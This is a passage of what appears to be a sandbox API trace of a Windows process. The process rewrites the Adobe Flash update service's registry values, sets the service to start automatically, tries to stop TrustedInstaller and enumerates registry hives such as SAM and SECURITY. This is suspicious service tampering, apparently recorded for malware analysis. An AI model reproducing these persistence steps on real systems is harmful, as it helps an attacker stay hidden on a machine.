RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.683] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0223.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.683] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0223.684] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0223.684] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0223.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0223.685] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.685] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0223.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0223.686] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0223.686] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0223.686] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0223.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0223.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0223.686] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0223.686] LocalFree (hMem=0x7f03d0) returned 0x0 [0223.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0223.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0223.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cchWideChar=63, lpMultiByteStr=0x21f4778, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", lpUsedDefaultChar=0x0) returned 63 [0223.687] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0223.687] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", cbData=0x40 | out: lpData="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe") returned 0x0 [0223.687] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x2) returned 0x803990 [0223.688] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0223.704] CloseServiceHandle (hSCObject=0x803990) returned 1 [0223.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0223.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.704] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.705] RegCloseKey (hKey=0x148) returned 0x0 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0223.705] RegCloseKey (hKey=0x14c) returned 0x0 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0223.705] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0223.705] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc905990, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xc905990, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x83a38000, ftLastWriteTime.dwHighDateTime=0x1d35cdb, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0223.705] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0223.705] GetLastError () returned 0x20 [0223.705] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0223.706] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0223.706] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0223.706] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x20) returned 0x8038a0 [0223.707] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0223.709] GetLastError () returned 0x426 [0223.709] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0223.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0223.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0223.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0223.709] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0223.709] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0223.709] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.710] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.710] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.710] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0223.710] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.710] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.711] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.711] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.711] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.711] RegCloseKey (hKey=0x80000002) returned 0x0 [0223.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0223.711] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.711] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.711] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0223.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, 